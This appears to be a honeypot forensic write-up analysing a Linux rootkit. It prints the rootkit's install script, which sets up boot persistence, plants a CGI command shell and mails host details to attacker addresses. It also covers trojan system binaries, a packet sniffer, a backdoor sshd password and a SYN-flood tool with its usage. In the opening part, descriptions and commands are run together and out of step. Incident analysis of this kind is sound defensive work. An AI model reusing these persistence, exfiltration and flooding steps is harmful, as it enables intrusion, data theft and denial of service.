Copy the trojan version of lsattr to /usr/bin. Change permissions on lsattr.echo "/usr/bin/lsattr -t1 -X53 -p" >> /etc/rc.d/rc.sysinit echo >> /etc/rc.d/rc.sysinit
Set the immutable attribute on lsattr. From manual page for chattr(1):cp -f lsattr /usr/bin/ chmod 500 /usr/bin/lsattr
A file with the `i' attribute cannot be modified: it cannot be deleted or renamed, no link can be created to this file and no data can be written to the file. Only the superuser can set or clear this attribute.Run the lsattr shell script, which starts the trojan version of mkxfs and linsniffer.chattr +i /usr/bin/lsattr
Sleep for a second./usr/bin/lsattr
Look for a cgi-bin directory of a web server. If found, move last.cgi into it. The first test would have succeeded according to Apache's conf file located at /etc/httpd/conf/httpd.conf. A snippet from the httpd.conf file shows the path to the cgi-bin directory.sleep 1
The shell script that moves last.cgi into the above directory...# # ScriptAlias: This controls which directories contain server scripts. # ScriptAliases are essentially the same as Aliases, except that # documents in the realname directory are treated as applications and # run by the server when requested rather than as documents sent to the client. # The same rules about trailing "/" apply to ScriptAlias directives as to # Alias. # ScriptAlias /cgi-bin/ "/home/httpd/cgi-bin/"
Compile information about the host just compromised and store the details in a file called 'computer'.if [ -d /home/httpd/cgi-bin ] then mv -f last.cgi /home/httpd/cgi-bin/ fi if [ -d /usr/local/httpd/cgi-bin ] then mv -f last.cgi /usr/local/httpd/cgi-bin/ fi if [ -d /usr/local/apache/cgi-bin ] then mv -f last.cgi /usr/local/apache/cgi-bin/ fi if [ -d /www/httpd/cgi-bin ] then mv -f last.cgi /www/httpd/cgi-bin/ fi if [ -d /www/cgi-bin ] then mv -f last.cgi /www/cgi-bin/ fi
Mail the file 'computer' to last@linuxmail.org and bidi_damm@yahoo.com.echo "* Luam Informatiile dorite ..." echo "* Info : $(uname -a)" >> computer echo "* Hostname : $(hostname -f)" >> computer echo "* IfConfig : $(/sbin/ifconfig | grep inet)" >> computer echo "* Uptime : $(uptime)" >> computer echo "* Cpu Vendor ID : $(cat /proc/cpuinfo|grep vendor_id)" >> computer echo "* Cpu Model : $(cat /proc/cpuinfo|grep model)" >> computer echo "* Cpu Speed: $(cat /proc/cpuinfo|grep MHz)" >> computer echo "* Bogomips: $(cat /proc/cpuinfo|grep bogomips)" >> computer echo "* Spatiu Liber: $(df -h)" >> computer
Yada yada yada...echo "* Gata ! Trimitem Mailul ...Asteapta Te Rog " cat computer | mail -s "placinte" last@linuxmail.org cat computer | mail -s "roote" bidi_damm@yahoo.com
Forcefully remove the last directory that the rootkit was untarred into, the various possible names of the downloaded rootkit (lk.tgz & lk.tar.gz) and the 'computer' file, from the root partition.echo "* Am trimis mailul ... stergem fisierele care nu mai trebuie ." echo echo echo "* G A T A *" echo echo "* That Was Nice Last "
cd / rm -rf last lk.tgz computer lk.tar.gz
setuid32(0) = -1 ENOSYS (Function not implemented) setuid(0) = 0 setgid(0) = 0
</dir> ) = 29 strings(1) shows some other html and a couple of other functions, but I haven't worked out how or if this code can be reached. I had a quick look at the a disassembly of it via objdump(1) and dasm.pl. I noticed a strcmp that looked like it was comparing the environment variable QUERY_STRING with "". There is a getenv("QUERY_STRING") call in there, but I'm not sure how to get it to reach that part of code.
/home/honeynet/scan15/grave/23/last # strings ./last.cgi /lib/ld-linux.so.2 __gmon_start__ libc.so.6 printf getenv pclose malloc popen __deregister_frame_info setgid strcmp fgetc _IO_stdin_used __libc_start_main setuid __register_frame_info GLIBC_2.1 GLIBC_2.0 PTRh QUERY_STRING THIS COMMAND HAS NO OUTPUT Content-type: text/html This is available only local for httpd testing purposes <html> <head><title>%s</title></head> <body bgcolor="#ffffff"> <dir><h1>%s</h1> <ISINDEX prompt="Command to Execute: "> <br><b>Command output:</b> [<em>%s</em>] <br><pre> </pre> </dir>
This is LinSniffer 0.03 [BETA] by Mike Edulla. It sets interface eth0 to promiscuous mode and sniffs packets. It logs details of ftp, telnet, pop3, pop2, imap2, rlogin and poppasswd connections, to tcp.log.
Fingerprint attempt:
/home/honeynet/scan15/grave/23/last # /home/hack/md5/fingerprint.sh ./linsniffer ------------------------------------------------------------------------------- MD5 MATCH: ./linsniffer ------------------------------------------------------------------------------- /home/hack/md5/rootkits.md5:6c0f96c1e43a23a21264f924ae732273 ./lrk3/linsniffer
This exact version of linsniffer appears in the Linux Rootkit V3.
logclear is used to clear linsniffer's logfile.
logclear stops linsniffer, removes it's log file (tcp.log), recreates an empty logfile and restarts linsniffer.
killall -9 linsniffer rm -rf tcp.log touch tcp.log ./linsniffer >tcp.log &
This shell script is used to start mkxfs and linsniffer.
#!/bin/sh cd /dev/ida/.drag-on ./mkxfs -f ./s ./linsniffer >> ./tcp.log & cd /
This is a trojan version of sshd. It listens on the standard ssh port, 22. You can ssh to this daemon as root with the password 'Frunza14'. I noticed 'Frunza14' whilst running strings(1) over mkxfs and thought that it looked like a password. I looked for some sort of username but couldn't see anything that jumped out at me. So, I tried connecting to the trojan sshd as root and password 'Frunza14', and it worked! (Bit of a fluke ;)
$ ssh localhost -l root root@localhost.localdomain's password: Frunza14 Warning: Remote host denied X11 forwarding. Last login: Tue May 22 07:30:47 2001 No mail. #
This is a trojaned version of netstat. It hides specific network connections
listed in a configuration file that it reads upon each execution.
To determine the details of this trojaned netstat, first off, I'll run strings(1) over netstat to hopefully find some info about
its origin.
/home/honeynet/scan15/grave/23/last # strings netstat |less <snip> Linux NET-3 Base Utilities Source: net-tools 1.32-alpha net-tools@lina.inka.de (Bernd Eckenfels) Kernelsource: 2.0.35 netstat 1.19 (1996-05-17) Fred Baumgartenand Alan Cox. <snip>
net-tools 1.32-alpha is common to the popular Linux RootKits (lrk). Specifically, netstat 1.19 (1996-05-17) is used in lrk3, lrk4, lrk4.1 and lrk5.
There is a couple of ways of determining (besides MD5 hashes, etc) if this version of netstat is trojaned.
One of the first things the trojaned version of netstat (from the lrks) will do is open it's configuration file that lists network connections to hide. This particular filename can be customised before compilation of netstat, hence it will/maybe/should be different depending on what the compilee set it to.
I like to execute these programs on a standalone test box, in an attempt to identify what they do.
I'll use strace(1) on it to identify what system calls netstat makes. I also grep for 'open' to identify what files netstat tries to open. (The 2>&1 redirects output to stderr to stdout. strace prints it's trace to stderr. I redirect it to stdout so I can grep it :)
# strace ./netstat 2>&1 | grep open
open("/etc/ld.so.cache", O_RDONLY) = 3
open("/usr/lib/libc.so.5", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/lib/libc.so.5", O_RDONLY) = 3
open("/dev/caca", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/share/locale/en_US/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/proc/net/tcp", O_RDONLY) = 3
open("/etc/nsswitch.conf", O_RDONLY) = 3
open("/etc/hosts", O_RDONLY) = 3
open("/etc/yp.conf", O_RDONLY) = 3
open("/etc/resolv.conf", O_RDONLY) = 3
open("/etc/hosts", O_RDONLY) = 3
open("/etc/services", O_RDONLY) = 3
open("/proc/net/udp", O_RDONLY) = 3
open("/etc/hosts", O_RDONLY) = 3
open("/etc/hosts", O_RDONLY) = 3
open("/proc/net/raw", O_RDONLY) = 3
open("/proc/net/unix", O_RDONLY) = 3
open("/proc/net/ipx", O_RDONLY) = -1 ENOENT (No such file or directory)
netstat tries to read it's configuration file from '/dev/caca', and fails. This is a little puzzling, because the install script created the netstat configuration file at '/dev/last'... The string 'last' doesn't exist in netstat, as the following command shows (or, really, doesn't show ;).
/home/honeynet/scan15/grave/23/last # strings ./netstat |grep last /home/honeynet/scan15/grave/23/last #
A check to see if /dev/caca exists shows it doesn't exist.
/home/honeynet/scan15 # ls -la mnt/dev/caca ls: mnt/dev/caca: No such file or directory
As far as I can tell, the trojaned version isn't reading it's 'missing' configuration file.
If you haven't got a test box to blow up, you can search for the config file that netstat references (I usually do this anyway). You'll have to keep a keen eye out, and might have to investigate some of the odd files. Perform a strings(1) and grep for '/', hoping that the config file path has a '/' in it.
/home/honeynet/scan15/grave/23/last # strings ./netstat |grep /
/lib/ld-linux.so.1
8"t/B8"t*B8"t%B
8!t/A8!t*A8!t%A
8"t/B8"t*B8"t%B
8&t/F8&t*F8&t%F
/dev/caca
/dev/route
read /dev/route
%s/%s
/proc/net/tcp
off (0.00/%ld)
on (%2.2f/%ld)
unkn-%d (%2.2f/%ld)
Y@/proc/net/udp
off (0.00/%ld) %c
on (%2.2f/%ld) %c
unkn-%d (%2.2f/%ld) %c
Y@/proc/net/raw
Y@/proc/net/unix
(w/o servers)
/proc/net/ipx
/proc/net/ipx sport format error
/proc/net/ipx dport format error
/proc/net/dev
-e, --extend display other/more informations
MLCFA:acdehinNortuVv?wx/
/proc/net/ip_masquerade
/proc/net/route
/proc/net/rt_cache
lib/ipx_rt.c
/proc/net/ipx_route
Lastly, an optionally compiled in netstat 'option' allows the user to specify
an option to unhide the hidden processes when it is executed. The trojaned
option is '/', and you can see it appended to all the command line options,
six lines from the bottom of the above strings(1) output. The option '/' is not
a normal option of netstat. Searching for this option depends on whether it
was compiled into the trojaned netstat.
This file holds the process id of mkxfs.
This is a trojan version of procps version 1.01, even though it reports a version of 2.0.7. It is found in lrk3, lrk4, lrk4.1 and lrk5. This particular binary tries to read it's configuration file from /dev/dsx (and fails), even though the install script created the configuration file for ps and top at /dev/rpm??
You can see during the execution of ps, that it fails to open the hard coded path to it's configuration file.
# strace ./ps 2>&1 |grep open
<snip>
open("/dev/dsx", O_RDONLY) = -1 ENOENT (No such file or directory)
<snip>
A check to see if /dev/dsx exists shows it doesn't exist.
/home/honeynet/scan15 # ls -la mnt/dev/dsx ls: mnt/dev/dsx: No such file or directory
As with netstat, this trojaned version of ps isn't reading it's 'missing' configuration file.
ssh server systemwide configuration file.
You can see references to ssh_host_key and ssh_random_seed in the hidden directory /dev/ida/.drag-on/.
HostKey /dev/ida/.drag-on/ssh_host_key RandomSeed /dev/ida/.drag-on/ssh_random_seed
There is also a reference to a process id file in the directory /dev/ida/.inet/, yet the directory doesn't exist?
PidFile /dev/ida/.inet/pid
This particular configuration file sets sshd to listen on Port 5. It also
disallows root to login, and permits empty passwords.
Perl script that sorts the output from the tcp.log generated by linsniffer. It even references the exact version of linsniffer above.
#!/usr/bin/perl # Sorts the output from LinSniffer 0.03 [BETA] by Mike Edulla <medulla@infosoc.com> <snip>
This is the hackers copy of services, which is forcefully copied over the top
of /etc/services (via the install script).
Looks fairly normal, apart from the ssh entry.
I haven't seen an ssh entry like this before...
ssh 22/udp /usr/sbin/sshd # SSH Remote Login Protocol
The format of a services file is:
# service-name port/protocol [aliases ...] [# comment]
'/usr/sbin/sshd' doesn't really fit the usual format of an alias. Perhaps they we're getting this file confused with /etc/inetd.conf?
This is a DoS (Denial of Service) tool. It takes a source ip address, which will be some spoofed address (possibly random, or even the actual destination address), the destination (target) ip address, and a port range, set out by a low port to a high port.
From using strace(1), we can see that it gets the time of day, increments to the next port and fires off the packet to the target machine on that port.
<snip>
gettimeofday({990530456, 259952}, NULL) = 0
sendto(3, "E\0(\0\33.\0\0\36\6Y\345\300\250\1\2\300\250\1\1\37\351"..., 40, 0, {sin_family=AF_INET, sin_port=htons(227), sin_addr=inet_addr("192.168.1.10")}}, 16) = 40
gettimeofday({990530456, 260464}, NULL) = 0
sendto(3, "E\0(\0{c\0\0\36\6\371\257\300\250\1\2\300\250\1\1\314\3"..., 40, 0, {sin_family=AF_INET, sin_port=htons(228), sin_addr=inet_addr("192.168.1.10")}}, 16) = 40
gettimeofday({990530456, 260834}, NULL) = 0
sendto(3, "E\0(\0\344a\0\0\36\6\220\261\300\250\1\2\300\250\1\1\0"..., 40, 0, {sin_family=AF_INET, sin_port=htons(229), sin_addr=inet_addr("192.168.1.10")}}, 16) = 40
gettimeofday({990530456, 261809}, NULL) = 0
sendto(3, "E\0(\0\316\265\0\0\36\6\246]\300\250\1\2\300\250\1\1TE"..., 40, 0, {sin_family=AF_INET, sin_port=htons(230), sin_addr=inet_addr("192.168.1.10")}}, 16) = 40
gettimeofday({990530456, 262184}, NULL) = 0
sendto(3, "E\0(\0S\1\0\0\36\6\"\22\300\250\1\2\300\250\1\1\227\243"..., 40, 0, {sin_family=AF_INET, sin_port=htons(231), sin_addr=inet_addr("192.168.1.10")}}, 16) = 40
gettimeofday({990530456, 262704}, NULL) = 0
sendto(3, "E\0(\0D5\0\0\36\0060\336\300\250\1\2\300\250\1\1$T\0\350"..., 40, 0, {sin_family=AF_INET, sin_port=htons(232), sin_addr=inet_addr("192.168.1.10")}}, 16) = 40
gettimeofday({990530456, 268259}, NULL) = 0
sendto(3, "E\0(\0rB\0\0\36\6\2\321\300\250\1\2\300\250\1\1\276\237"..., 40, 0, {sin_family=AF_INET, sin_port=htons(233), sin_addr=inet_addr("192.168.1.10")}}, 16) = 40
gettimeofday({990530456, 268631}, NULL) = 0
sendto(3, "E\0(\0007y\0\0\36\6=\232\300\250\1\2\300\250\1\1\245\210"..., 40, 0, {sin_family=AF_INET, sin_port=htons(234), sin_addr=inet_addr("192.168.1.10")}}, 16) = 40
gettimeofday({990530456, 268996}, NULL) = 0
sendto(3, "E\0(\0003X\0\0\36\6A\273\300\250\1\2\300\250\1\1\261\257"..., 40, 0, {sin_family=AF_INET, sin_port=htons(235), sin_addr=inet_addr("192.168.1.10")}}, 16) = 40
gettimeofday({990530456, 269523}, NULL) = 0
sendto(3, "E\0(\0\241\35\0\0\36\6\323\365\300\250\1\2\300\250\1\1"..., 40, 0, {sin_family=AF_INET, sin_port=htons(236), sin_addr=inet_addr("192.168.1.10")}}, 16) = 40
<snip>
It continues this inside some sort of while(1) loop, cycling through the port range over and over. Needless to say, it brought one of my Redhat 6.0 boxes to it's knees instantly. I had top(1) running on the target box, and for a brief moment I noticed quite a few daemons that listen for incoming connections, all sitting between 12-19% cpu at once, and total cpu usage around 95%.
Capturing the packets during the sl2 flood shows that it is a SYN flood (Denoted by the S in **S*****). On the target host, I set the network interface card eth0 to promiscuous mode and ran snort to capture the packets. You can see:
/tmp # ifconfig eth0 promisc /tmp # snort -vi eth0 Initializing Network Interface... Decoding Ethernet on interface eth0 -*> Snort! <*- Version 1.6 By Martin Roesch (roesch@clark.net, www.clark.net/~roesch) 05/24-22:30:34.223764 192.168.1.200:57287 -> 192.168.1.10:1 TCP TTL:30 TOS:0x0 ID:59977 **S***** Seq: 0x344204AB Ack: 0x0 Win: 0xFFFF 05/24-22:30:34.223764 192.168.1.200:6040 -> 192.168.1.10:2 TCP TTL:30 TOS:0x0 ID:48990 **S***** Seq: 0x496F7E59 Ack: 0x0 Win: 0xFFFF 05/24-22:30:34.223764 192.168.1.200:19449 -> 192.168.1.10:3 TCP TTL:30 TOS:0x0 ID:53526 **S***** Seq: 0x6D851F21 Ack: 0x0 Win: 0xFFFF 05/24-22:30:34.223764 192.168.1.200:65427 -> 192.168.1.10:4 TCP TTL:30 TOS:0x0 ID:28650 **S***** Seq: 0x2ABC4452 Ack: 0x0 Win: 0xFFFF 05/24-22:30:34.223764 192.168.1.200:18610 -> 192.168.1.10:5 TCP TTL:30 TOS:0x0 ID:925 **S***** Seq: 0x427FF2 Ack: 0x0 Win: 0xFFFF 05/24-22:30:34.223764 192.168.1.200:63080 -> 192.168.1.10:6 TCP TTL:30 TOS:0x0 ID:7004 **S***** Seq: 0x8EBD58F Ack: 0x0 Win: 0xFFFF 05/24-22:30:34.223764 192.168.1.200:39464 -> 192.168.1.10:7 TCP TTL:30 TOS:0x0 ID:27027 **S***** Seq: 0x3EFD8A63 Ack: 0x0 Win: 0xFFFF 05/24-22:30:34.223764 192.168.1.200:1720 -> 192.168.1.10:8 TCP TTL:30 TOS:0x0 ID:64521 **S***** Seq: 0x432248F6 Ack: 0x0 Win: 0xFFFF 05/24-22:30:34.223764 192.168.1.200:57628 -> 192.168.1.10:9 TCP TTL:30 TOS:0x0 ID:12777 **S***** Seq: 0x229E567 Ack: 0x0 Win: 0xFFFF 05/24-22:30:34.223764 192.168.1.200:8808 -> 192.168.1.10:10 TCP TTL:30 TOS:0x0 ID:23137 **S***** Seq: 0x125047FF Ack: 0x0 Win: 0xFFFF 05/24-22:30:34.223764 192.168.1.200:3249 -> 192.168.1.10:11 TCP TTL:30 TOS:0x0 ID:54411 **S***** Seq: 0x173127C6 Ack: 0x0 Win: 0xFFFF <snip>
A hunt around on the web for SYN flooders and I find (amongst others) synk4.c. synk4 is identical in functionality to sl2 albeit for a few extra strings. This is the usage of sl2:
./sl2
Usage: ./sl2 srcaddr dstaddr low high
If srcaddr is 0, random addresses will be used
This was the command I ran, targeting 192.168.1.10 with ports ranging from 1 to 500 and spoofed source IP of 192.168.1.200:
# ./sl2 192.168.1.200 192.168.1.10 1 500
As a side note, running this command chewed nearly 100% of my cpu as well.
Looks like a normal ssh client. Doesn't have any strange files open during execution that I viewed when running lsof(1). No strange strings from strings(1).
$ ./ssh -V SSH Version 1.2.30 [i586-unknown-linux], protocol version 1.5. Standard version. Does not use RSAREF.
ssh client systemwide configuration file.
This is the same file that's normally located at /etc/ssh/ssh_config. This particular file has everything commented out.
ssh server systemwide configuration file.
Here is another sshd config file, although a little different from the one encountered above. This particular configuration file sets sshd to listen on Port 22. It also allows root to login, and permits empty passwords.
More ssh related files.
This is a trojan version of procps version 1.01, top. It is found in lrk3, lrk4, lrk4.1 and lrk5. When executed it will hide the strings listed in /dev/dsk from the output. As with ps above, this particular binary tries to read it's configuration file from /dev/dsx (and fails), even though the install script created the configuration file for ps and top at /dev/rpm??
home/honeynet/scan15/grave/23/last # strings ./top |grep / <snip> /dev/dsx <snip>
I create md5sum values of every file in the rootkit, and the use my fingerprinting shell script to attempt to identify which recovered dead files are which.
/home/honeynet/scan15/grave/recovered_deadfiles # /home/hack/md5/fingerprint.sh * ------------------------------------------------------------------------------- MD5 MATCH: 2039 ------------------------------------------------------------------------------- /home/hack/md5/last_rootkit.md5:21ed3ca31a9c9b51a757f1644e26f2f7 ssh ------------------------------------------------------------------------------- MD5 MATCH: 2040 ------------------------------------------------------------------------------- /home/hack/md5/last_rootkit.md5:68b329da9893e34099c7d8ad5cb9c940 pidfile ------------------------------------------------------------------------------- MD5 MATCH: 2041 ------------------------------------------------------------------------------- /home/hack/md5/last_rootkit.md5:964db5da8cf89810a54659b6fdb81958 install ------------------------------------------------------------------------------- MD5 MATCH: 2043 ------------------------------------------------------------------------------- /home/hack/md5/last_rootkit.md5:12e8748c19abe7a44e67196c22738e9b cleaner /home/hack/md5/rootkits.md5:12e8748c19abe7a44e67196c22738e9b ./tornkit/t0rnsb ------------------------------------------------------------------------------- MD5 MATCH: 2044 ------------------------------------------------------------------------------- /home/hack/md5/last_rootkit.md5:b63485e42035328c0d900a71ff2e6bd7 inetd.conf ------------------------------------------------------------------------------- MD5 MATCH: 2045 ------------------------------------------------------------------------------- /home/hack/md5/last_rootkit.md5:dfb2eeea2a5ba23eb6a2b9d0cff9d82f lsattr ------------------------------------------------------------------------------- MD5 MATCH: 2046 ------------------------------------------------------------------------------- /home/hack/md5/last_rootkit.md5:54e41f035e026f439d4188759b210f07 services ------------------------------------------------------------------------------- MD5 MATCH: 2047 ------------------------------------------------------------------------------- /home/hack/md5/last_rootkit.md5:464dc23cac477c43418eb8d3ef087065 sense ------------------------------------------------------------------------------- MD5 MATCH: 2048 ------------------------------------------------------------------------------- /home/hack/md5/last_rootkit.md5:5fd2ce512e0eba4d090191e8a1518808 ssh_config ------------------------------------------------------------------------------- MD5 MATCH: 2049 ------------------------------------------------------------------------------- /home/hack/md5/last_rootkit.md5:c2c1b08498ed71a908c581d634832672 ssh_host_key ------------------------------------------------------------------------------- MD5 MATCH: 2050 ------------------------------------------------------------------------------- /home/hack/md5/last_rootkit.md5:e76cd5baaab7b4f28c999946a9cb4dcc ssh_host_key.pub ------------------------------------------------------------------------------- MD5 MATCH: 2051 ------------------------------------------------------------------------------- /home/hack/md5/last_rootkit.md5:ad265d3c07dea3151bacb6930e0b72d3 ssh_random_seed ------------------------------------------------------------------------------- MD5 MATCH: 2052 ------------------------------------------------------------------------------- /home/hack/md5/last_rootkit.md5:312de877e5180678cd54606e1c25af40 sshd_config ------------------------------------------------------------------------------- MD5 MATCH: 2053 ------------------------------------------------------------------------------- /home/hack/md5/last_rootkit.md5:4cfae8c44a6d1ede669d41fc320c7325 sl2 ------------------------------------------------------------------------------- MD5 MATCH: 2054 ------------------------------------------------------------------------------- /home/hack/md5/last_rootkit.md5:202a51b16ac8d1b4dc75de89e7344ed4 last.cgi ------------------------------------------------------------------------------- MD5 MATCH: 2058 ------------------------------------------------------------------------------- /home/hack/md5/last_rootkit.md5:8ff0939cd49a0b2ef3156c7876afca4b top ------------------------------------------------------------------------------- MD5 MATCH: 2059 ------------------------------------------------------------------------------- /home/hack/md5/last_rootkit.md5:5f22ceb87631fbcbf32e59234feeaa5b logclear ------------------------------------------------------------------------------- MD5 MATCH: 2060 ------------------------------------------------------------------------------- /home/hack/md5/last_rootkit.md5:06d04fa3c4941b398756d029de75770e s ------------------------------------------------------------------------------- MD5 MATCH: 2061 ------------------------------------------------------------------------------- /home/hack/md5/last_rootkit.md5:18a2d7d3178f321b881e7c493af72996 mkxfs ------------------------------------------------------------------------------- MD5 MATCH: 30188 ------------------------------------------------------------------------------- /home/hack/md5/rh62server.md5:f174e862d00d0998c3fa4ccd632019b5 /bin/netstat ------------------------------------------------------------------------------- MD5 MATCH: 30191 ------------------------------------------------------------------------------- /home/hack/md5/rh62server.md5:5e1725f2734365fef9e55398785f3033 /bin/ps ------------------------------------------------------------------------------- MD5 MATCH: 48284 ------------------------------------------------------------------------------- /home/hack/md5/rh62server.md5:b52af438845c776cde94f67e19cd037a /sbin/ifconfig ------------------------------------------------------------------------------- FILES WITH NO MD5 MATCH: ------------------------------------------------------------------------------- 16110 2042 23 56231 8100
You'll notice that the last 3 matches are the original binaries from Redhat 6.2. These we're deleted and replaced with trojaned versions from the rootkit during the install.
#%PAM-1.0 auth required /lib/security/pam_pwdb.so shadow nullok account required /lib/security/pam_pwdb.so password required /lib/security/pam_cracklib.so retry=3 password required /lib/security/pam_pwdb.so use_authtok nullok
Corrupt executable...
/home/honeynet/scan15/grave/recovered_deadfiles # strings 2042
/lib/ld-linux.so.1
# strace ./2042
execve("./2042", ["./2042"], [/* 52 vars */]) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40007000
mprotect(0x40000000, 21420, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=31151, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY) = 3
old_mmap(NULL, 31151, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000
close(3) = 0
stat("/etc/ld.so.preload", 0xbffff6c0) = -1 ENOENT (No such file or directory)
munmap(0x40008000, 31151) = 0
--- SIGFPE (Floating point exception) ---
+++ killed by SIGFPE +++
# ./2042
Floating point exception (core dumped)
This is the original rootkit file. Probably named lk.tgz or lk.tar.gz
Not sure... Nothing in particular. Just a file with 1 character in it repeated.
/home/honeynet/scan15/grave/recovered_deadfiles # file 56231
56231: ASCII text
/home/honeynet/scan15/grave/recovered_deadfiles # wc 56231
0 1 33135 56231
Looks like the output of 'man -k ...'
chage (1) - change user password expiry information gpasswd (1) - administer the /etc/group file mktemp (1) - make temporary file name (unique) bash (1) - GNU Bourne-Again SHell bash [sh] (1) - GNU Bourne-Again SHell last (1) - show listing of last logged in users lastb [last] (1) - show listing of last logged in users mesg (1) - control write access to your terminal captoinfo (1m) - convert a termcap description into a terminfo description clear (1) - clear the terminal screen
The above recovery methods didn't yield the 'computer' file that was emailed to the two email addresses in the install script. I'm going to use another (much slower) method to try and recover the missing file.
Again, I'll use tools from The Coroner's Toolkit (TCT). This time I'll be using:
First, I'll prepare some directories...
/home/honeynet/scan15 # mkdir unrm /home/honeynet/scan15 # cd unrm/ /home/honeynet/scan15/unrm # mkdir html_output /home/honeynet/scan15/unrm # mkdir data_blocks
Use unrm to copy unallocated data blocks only, from the honeypot root image. The output is ~230Mb in size.
/home/honeynet/scan15/unrm # unrm ../honeynet/honeypot.hda8.dd > unrm_output
Now run lazarus to bring back files/structures from the dead. Note: This takes about 2 hours to run!
/home/honeynet/scan15/unrm # lazarus -H . -w html_output/ -h -D data_blocks/ unrm_output
The above command generates an HTML map of the recovered data. You access it by opening unrm_output.frame.html in a browser. It is split into two frames. One at the top is a menu/legend of the different types of data recovered, and the main frame is a map of the data recovered. You just click on any of the links in the map frame to view the contents of that block recovered.
Finally! :) Here's the map output (and legend) from lazarus.
A = archive C = C code E = ELF f = sniffers H = HTML I = image/pix L = logs M = mail O = null P = programs Q = mailq R = removed S = lisp T = text U = uuencoded W = password file X = exe Z = compressed . = binary ! = sound ........XxxxxxxxXxxxxxxxxxxxxXxxxx!!!!!!!!!!!!!!!!!T....Tt....T.........XxxxxxT ....T..T...T.Tt....T.....T.....Tt..T......PppXxxTtt.TtttPpp.T.TXxxxXxxXxxxAa!!! !!!!!!T..Tt...TXxxx!!!!!!!!!Aaa!!!!!!!!!!!!!!!!!T.Tt....T........XxxxxxxXxxxxxX xxxxxxT...T.....T.....Tt...............Tttt.Tttttttt...............Tt.......... .....T...Mm..............Tt...Tt..T...Tt.Tt......XxxXxxTt...XxxXxxxT.XTt.T....T .Tt.Ww.Tt...T..............Xxxxxx!!!!!!!!T..T...Ttt...Xxxxx!!!!!!Ttt........... ....T................XxxxxxT................
The blue Mm just happens to be the lost 'computer' file. :) And here it is.
(Note: technically, the To: and Subject: email lines aren't a part of the
original computer file, this is just how lazarus recovered it.)
To: last@linuxmail.org
Subject: placinte
* Info : Linux asdf1 2.2.14-5.0 #1 Tue Mar 7 20:53:41 EST 2000 i586 unknown
* Hostname : asdf1
* IfConfig : inet addr:127.0.0.1 Bcast:127.255.255.255 Mask:255.0.0.0
inet addr:172.16.1.108 Bcast:172.16.1.255 Mask:255.255.255.0
* Uptime : 7:45pm up 8:23, 0 users, load average: 0.00, 0.00, 0.00
* Cpu Vendor ID : vendor_id : GenuineIntel
* Cpu Model : model : 4
model name : Pentium MMX
* Cpu Speed: cpu MHz : 200.457171
* Bogomips: bogomips : 399.77
* Spatiu Liber: Filesystem Size Used Avail Use% Mounted on
/dev/hda8 251M 33M 205M 14% /
/dev/hda1 23M 2.4M 19M 11% /boot
/dev/hda6 1.6G 2.1M 1.5G 0% /home
/dev/hda5 1.6G 367M 1.2G 23% /usr
/dev/hda7 251M 5.3M 232M 2% /var
I've commented the various events (in red) during the install of this rootkit. Something to be wary of when viewing the mactimes is that the files listed in a particular timeframe are NOT chronological in that timeframe. They are sorted alphabetically. Look at the timeframe and assess yourself which files were modified/accessed/created in what order.
Mar 16 01 12:36:48 520333 m.. -rw-r--r-- root root <honeypot.hda8.dd-dead-23> rootkit lk.tar.gz downloaded
Mar 16 01 12:44:50 35300 .a. -rwxr-xr-x root root ../mnt/bin/netstat
33280 .a. -rwxr-xr-x root root ../mnt/bin/ps
611931 .a. -rwxr-xr-x root root <honeypot.hda8.dd-dead-2039> ssh
1 .a. -rw-r--r-- root root <honeypot.hda8.dd-dead-2040> pidfile
1345 .a. -rwxr-xr-x root root <honeypot.hda8.dd-dead-2043> cleaner
880 .a. -rw-r--r-- root root <honeypot.hda8.dd-dead-2048> ssh_config
344 .a. -rw-r--r-- root root <honeypot.hda8.dd-dead-2050> ssh_host_key.pub
688 .a. -rw-r--r-- root root <honeypot.hda8.dd-dead-2052> sshd_config
520333 .a. -rw-r--r-- root root <honeypot.hda8.dd-dead-23> Gunzip and Untar rootkit lk.tar.gz
Mar 16 01 12:45:02 2048 m.c drwxr-xr-x root root ../mnt/bin
11952 .a. -rwxr-xr-x root root ../mnt/bin/chown change ownership of rootkit files to root.root
35300 ..c -rwxr-xr-x root root ../mnt/bin/netstat insertion of trojan netstat
33280 ..c -rwxr-xr-x root root ../mnt/bin/ps insertion of trojan ps
34816 m.c drwxr-xr-x root root ../mnt/dev
12288 m.c drwxrwxr-x root root ../mnt/dev/ida creation of 'secret' directories and insertion of rootkit files...
7165 mac -rwx------ root root ../mnt/dev/ida/.. /linsniffer
75 mac -rwx------ root root ../mnt/dev/ida/.. /logclear
632066 .a. -rwxr-xr-x root root ../mnt/dev/ida/.. /mkxfs
4060 mac -rwxr-xr-x root root ../mnt/dev/ida/.. /sense
8268 mac -rwx------ root root ../mnt/dev/ida/.. /sl2
7165 m.c -rwx------ root root ../mnt/dev/ida/.drag-on/linsniffer
75 mac -rwx------ root root ../mnt/dev/ida/.drag-on/logclear
632066 m.c -rwxr-xr-x root root ../mnt/dev/ida/.drag-on/mkxfs
708 m.c -rw-r--r-- root root ../mnt/dev/ida/.drag-on/s
4060 mac -rwxr-xr-x root root ../mnt/dev/ida/.drag-on/sense
8268 mac -rwx------ root root ../mnt/dev/ida/.drag-on/sl2
540 m.c -rw------- root root ../mnt/dev/ida/.drag-on/ssh_host_key
87 mac -rw-r--r-- root root ../mnt/dev/last creation of netstat config file which never gets used by netstat
71 mac -rw-r--r-- root root ../mnt/dev/rpm creation of ps/top config file which never gets used by either
3072 m.c drwxr-xr-x root root ../mnt/sbin
19840 ..c -rwxr-xr-x root root ../mnt/sbin/ifconfig insertion of trojan ifconfig
4060 .a. -rwxr-xr-x root root <honeypot.hda8.dd-dead-2047> sense
8268 .a. -rwx------ root root <honeypot.hda8.dd-dead-2053> sl2
53588 .ac -rwxr-xr-x root root <honeypot.hda8.dd-dead-2058> top
75 .a. -rwx------ root root <honeypot.hda8.dd-dead-2059> logclear
66736 ..c -rwxr-xr-x root root <honeypot.hda8.dd-dead-30188> deletion of original redhat 6.2 /bin/netstat
60080 ..c -r-xr-xr-x root root <honeypot.hda8.dd-dead-30191> deletion of original redhat 6.2 /bin/ps
